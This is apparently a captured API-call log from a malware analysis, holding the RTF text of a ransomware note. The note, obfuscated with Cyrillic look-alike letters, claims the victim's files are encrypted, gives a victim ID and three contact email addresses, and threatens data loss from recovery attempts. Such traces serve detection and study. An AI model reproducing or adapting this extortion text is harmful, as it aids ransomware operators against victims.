\\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must 